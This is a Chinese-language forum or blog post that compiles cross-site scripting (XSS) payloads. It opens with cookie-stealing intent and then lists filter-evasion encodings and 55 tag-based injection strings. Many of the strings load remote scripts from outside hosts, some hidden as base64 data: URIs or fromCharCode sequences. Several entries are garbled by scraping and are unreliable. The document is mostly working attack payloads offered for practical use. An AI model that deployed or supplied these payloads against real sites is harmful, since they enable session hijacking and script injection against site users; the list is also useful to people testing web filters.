前段时间我遇到一个问题,就是说普通的平台获取cookie的语句为↓
| 
								1
							 | 
								<script src=js地址></script>
							 | 
实际上我们的测试语句可能为↓
| 
								1
							 | 
								<script>alert("90sec")</script>
							 | 
	也就是说js语句实际上是位于↓
<script></script>的中间。
包括<img>、<input>、<object>、<iframe>、<a></a>、<svg>、标签等情况下的xss构造。
所以我们就需要了解各种标签下的js用法,不然很多时候不可以使用<script>就很麻烦了。
【XSS基本探测pyload】
| 
								1
							 
								2
							 
								3
							 
								4
							 
								5
							 
								6
							 
								7
							 
								8
							 
								9
							 
								10
							 
								11
							 
								12
							 
								13
							 
								14
							 
								15
							 | 
								<script>alert(“xss”)</script>
							 
								<script>alert(/xss/)</script> //双引号换成斜杠
							 
								<script>alert(‘xss’)</script> //用单引号
							 
								<script>alert("xss");</script> //用分号
							 
								<script>alert('xss');</script>
							 
								<script>alert(/xss/);</script>
							 
								<script>alert("jdq") //自动补全
							 
								<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //用分号
							 
								<script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //空格+分号
							 
								<script>alert("xss");;;;;;;;;;;;;;;;;        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //换行符
							 
								<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
							 
								;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //回车
							 | 
	
| 
								1
							 
								2
							 | 
								单引号被过滤
							 
								<script>alert(/jdq/)</script>  //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
							 | 
	
| 
								1
							 
								2
							 | 
								【javascript伪协议】回旋
							 
								<a href="javascript:alert(/test/)">xss</a>
							 | 
	
| 
								1
							 
								2
							 
								3
							 | 
								<script>被过滤↓
							 
								<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签
							 | 
	
| 
								1
							 
								2
							 | 
								alert被过滤
							 
								<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
							 | 
	
| 
								1
							 
								2
							 | 
								【img标记】
							 
								<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>
							 | 
	
| 
								1
							 
								2
							 | 
								on事件点击触发
							 
								onclick="alert('xss') //注意要用单引号 双引号不会触发
							 | 
	
| 
								1
							 
								2
							 | 
								on事件-移动触发
							 
								Onmousemove="alert('xss')
							 | 
	
| 
								1
							 
								2
							 
								3
							 
								4
							 
								5
							 
								6
							 
								7
							 | 
								【利用函数加密】
							 
								eval 函数配合编码 
							 
								<script>eval(“js+16进制加密”)</script>
							 
								<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
							 
								编码要执行的语句↓
							 
								Alert(“xss”)
							 | 
	
| 
								1
							 
								2
							 
								3
							 
								4
							 
								5
							 
								6
							 | 
								【unicode加密】
							 
								<script>eval("unicode加密")</script>
							 
								//js unicode加密 解决alert()被过滤
							 
								<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
							 
								格式↓
							 
								标记eval(“编码”) 结束标记
							 | 
	
| 
								1
							 
								2
							 
								3
							 
								4
							 
								5
							 
								6
							 
								7
							 | 
								【String.fromCharCod函数】
							 
								String.fromCharCode需要配合eval来实现,
							 
								构造
							 
								<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
							 
								eval内容加引号相当于正常js语句来执行
							 
								不加引号,则是默认作为eval的其他参数语句来执
							 
								固定格式→<script>eval(String.fromCharCode编码内容))</script>
							 | 
	
| 
								1
							 
								2
							 
								3
							 
								4
							 
								5
							 
								6
							 
								7
							 
								8
							 
								9
							 
								10
							 
								11
							 
								12
							 
								13
							 | 
								【data协议运用】
							 
								<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
							 
								格式
							 
								Data:[<mime type>][;charset=<charset>[;base64],<encoded data>
							 
								Data //协议
							 
								<mime type> //数据类似
							 
								charset=<charset>  //指定编码
							 
								[;base64] //被指定的编码
							 
								<encoded data> //定义data协议的编码
							 
								实际编码↓
							 
								<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
							 
								base64编码要执行的内容
							 
								特点:不支持IE
							 | 
	【各标签实战pyload】
——————————————————-xss其他标签下的js用法总结大全––——————————–————————————
| 
								1
							 
								2
							 
								3
							 
								4
							 
								5
							 
								6
							 
								7
							 
								8
							 
								9
							 
								10
							 
								11
							 
								12
							 
								13
							 
								14
							 
								15
							 
								16
							 
								17
							 
								18
							 
								19
							 
								20
							 
								21
							 
								22
							 
								23
							 
								24
							 
								25
							 
								26
							 
								27
							 
								28
							 
								29
							 
								30
							 
								31
							 
								32
							 
								33
							 
								34
							 
								35
							 
								36
							 
								37
							 
								38
							 
								39
							 
								40
							 
								41
							 
								42
							 
								43
							 
								44
							 
								45
							 
								46
							 
								47
							 
								48
							 
								49
							 
								50
							 
								51
							 
								52
							 
								53
							 
								54
							 
								55
							 
								56
							 
								57
							 
								58
							 
								59
							 
								60
							 
								61
							 
								62
							 
								63
							 
								64
							 
								65
							 
								66
							 
								67
							 
								68
							 
								69
							 
								70
							 
								71
							 
								72
							 
								73
							 
								74
							 
								75
							 
								76
							 
								77
							 
								78
							 
								79
							 
								80
							 
								81
							 
								82
							 
								83
							 
								84
							 
								85
							 
								86
							 
								87
							 
								88
							 
								89
							 
								90
							 
								91
							 
								92
							 
								93
							 
								94
							 
								95
							 
								96
							 
								97
							 
								98
							 
								99
							 
								100
							 
								101
							 
								102
							 
								103
							 
								104
							 
								105
							 
								106
							 
								107
							 
								108
							 
								109
							 
								110
							 
								111
							 
								112
							 
								113
							 
								114
							 
								115
							 
								116
							 
								117
							 
								118
							 
								119
							 
								120
							 
								121
							 
								122
							 
								123
							 
								124
							 
								125
							 
								126
							 
								127
							 
								128
							 
								129
							 
								130
							 
								131
							 
								132
							 
								133
							 
								134
							 
								135
							 
								136
							 
								137
							 
								138
							 
								139
							 
								140
							 
								141
							 
								142
							 
								143
							 
								144
							 
								145
							 
								146
							 
								147
							 
								148
							 
								149
							 
								150
							 
								151
							 
								152
							 
								153
							 
								154
							 
								155
							 
								156
							 
								157
							 
								158
							 
								159
							 
								160
							 
								161
							 
								162
							 
								163
							 
								164
							 
								165
							 
								166
							 
								167
							 
								168
							 
								169
							 
								170
							 
								171
							 
								172
							 
								173
							 
								174
							 
								175
							 
								176
							 
								177
							 
								178
							 
								179
							 
								180
							 
								181
							 
								182
							 
								183
							 
								184
							 
								185
							 
								186
							 
								187
							 
								188
							 
								189
							 
								190
							 
								191
							 
								192
							 
								193
							 
								194
							 
								195
							 
								196
							 
								197
							 
								198
							 
								199
							 
								200
							 
								201
							 
								202
							 
								203
							 
								204
							 
								205
							 
								206
							 
								207
							 
								208
							 
								209
							 
								210
							 | 
								<img src=javascript:document.write('<scr'+'ipt src=\'http://www.baidu.com/1.txt\'></scr'+'ipt>')></img>  //仅支持IE6
							 
								<img src=javascript:window.s=document.createElement('script');window.s.src='http://lcx.cc/1.js';document.body.appendChild(window.s);></img>  //仅支持IE6
							 
								<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss
							 
								<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss
							 
								<img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
							 
								<input autofocus="bbbb" />
							 
								<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object> 
							 
								<iframe width="0px" height="0px" src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe>  ie不支持
							 
								<a href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>
							 
								<anchor>、<img>(不执行js) <a>(需点击) <meta>.....
							 
								<anchor onload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">
							 
								<svg onload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">
							 
								<svg onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>
							 
								<baa id="1" tabindex=0>
							 
								(1)普通的XSS JavaScript注入
							 
								<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
							 
								(2)IMG标签XSS使用JavaScript命令
							 
								<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
							 
								(3)IMG标签无分号无引号
							 
								<IMG SRC=javascript:alert(‘XSS’)>
							 
								(4)IMG标签大小写不敏感
							 
								<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
							 
								(5)HTML编码(必须有分号)
							 
								<IMG SRC=javascript:alert(“XSS”)>
							 
								(6)修正缺陷IMG标签
							 
								<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
							 
								(7)formCharCode标签
							 
								<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
							 
								(8)UTF-8的Unicode编码
							 
								<IMG SRC=jav..省略..S')>
							 
								(9)7位的UTF-8的Unicode编码是没有分号的
							 
								<IMG SRC=jav..省略..S')>
							 
								(10)十六进制编码也是没有分号
							 
								<IMG SRC=\'#\'" /span>
							 
								(11)嵌入式标签,将Javascript分开
							 
								<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
							 
								(12)嵌入式编码标签,将Javascript分开
							 
								<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
							 
								(13)嵌入式换行符
							 
								<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
							 
								(14)嵌入式回车
							 
								<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
							 
								(15)嵌入式多行注入JavaScript,这是XSS极端的例子
							 
								<IMG SRC=\'#\'" /span>
							 
								(16)解决限制字符(要求同页面)
							 
								<script>z=’document.’</script>
							 
								<script>z=z+’write(“‘</script>
							 
								<script>z=z+’<script’</script>
							 
								<script>z=z+’ src=ht’</script>
							 
								<script>z=z+’tp://ww’</script>
							 
								<script>z=z+’w.shell’</script>
							 
								<script>z=z+’.net/1.’</script>
							 
								<script>z=z+’js></sc’</script>
							 
								<script>z=z+’ript>”)’</script>
							 
								<script>eval_r(z)</script>
							 
								(17)空字符
							 
								perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
							 
								(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
							 
								perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
							 
								(19)Spaces和meta前的IMG标签
							 
								<IMG SRC=\'#\'"   javascript:alert(‘XSS’);”>
							 
								(20)Non-alpha-non-digit XSS
							 
								<SCRIPT/XSS SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
							 
								(21)Non-alpha-non-digit XSS to 2
							 
								<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
							 
								(22)Non-alpha-non-digit XSS to 3
							 
								<SCRIPT/SRC=\'#\'" /span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>
							 
								(23)双开括号
							 
								<<SCRIPT>alert(“XSS”);//<</SCRIPT>
							 
								(24)无结束脚本标记(仅火狐等浏览器)
							 
								<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
							 
								(25)无结束脚本标记2
							 
								<SCRIPT SRC=//3w.org/XSS/xss.js>
							 
								(26)半开的HTML/JavaScript XSS
							 
								<IMG SRC=\'#\'" /span>
							 
								(27)双开角括号
							 
								<iframe src=http://3w.org/XSS.html <
							 
								(28)无单引号 双引号 分号
							 
								<SCRIPT>a=/XSS/
							 
								alert(a.source)</SCRIPT>
							 
								(29)换码过滤的JavaScript
							 
								\”;alert(‘XSS’);//
							 
								(30)结束Title标签
							 
								</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
							 
								(31)Input Image
							 
								<INPUT SRC=\'#\'" /span>
							 
								(32)BODY Image
							 
								<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
							 
								(33)BODY标签
							 
								<BODY(‘XSS’)>
							 
								(34)IMG Dynsrc
							 
								<IMG DYNSRC=\'#\'" /span>
							 
								(35)IMG Lowsrc
							 
								<IMG LOWSRC=\'#\'" /span>
							 
								(36)BGSOUND
							 
								<BGSOUND SRC=\'#\'" /span>
							 
								(37)STYLE sheet
							 
								<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
							 
								(38)远程样式表
							 
								<LINK REL=”stylesheet” HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>
							 
								(39)List-style-image(列表式)
							 
								<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
							 
								(40)IMG VBscript
							 
								<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
							 
								(41)META链接url
							 
								<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
							 
								(42)Iframe
							 
								<IFRAME SRC=\'#\'" /IFRAME>
							 
								(43)Frame
							 
								<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>
							 
								(44)Table
							 
								<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
							 
								(45)TD
							 
								<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
							 
								(46)DIV background-image
							 
								<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
							 
								(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
							 
								<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
							 
								(48)DIV expression
							 
								<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
							 
								(49)STYLE属性分拆表达
							 
								<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
							 
								(50)匿名STYLE(组成:开角号和一个字母开头)
							 
								<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
							 
								(51)STYLE background-image
							 
								<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
							 
								(52)IMG STYLE方式
							 
								exppression(alert(“XSS”))’>
							 
								(53)STYLE background
							 
								<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
							 
								(54)BASE
							 
								<BASE HREF=”javascript:alert(‘XSS’);//”>
							 
								(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
							 
								<EMBED SRC=\'#\'" /span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>
							 | 
	
——————————————-xss其他标签下的js用法总结大全––——————————–————————————
类似的东西也有人发过,我针对XSS利用中的各标签利用实例整理了下。算是比较全面的。
[via@接地气]
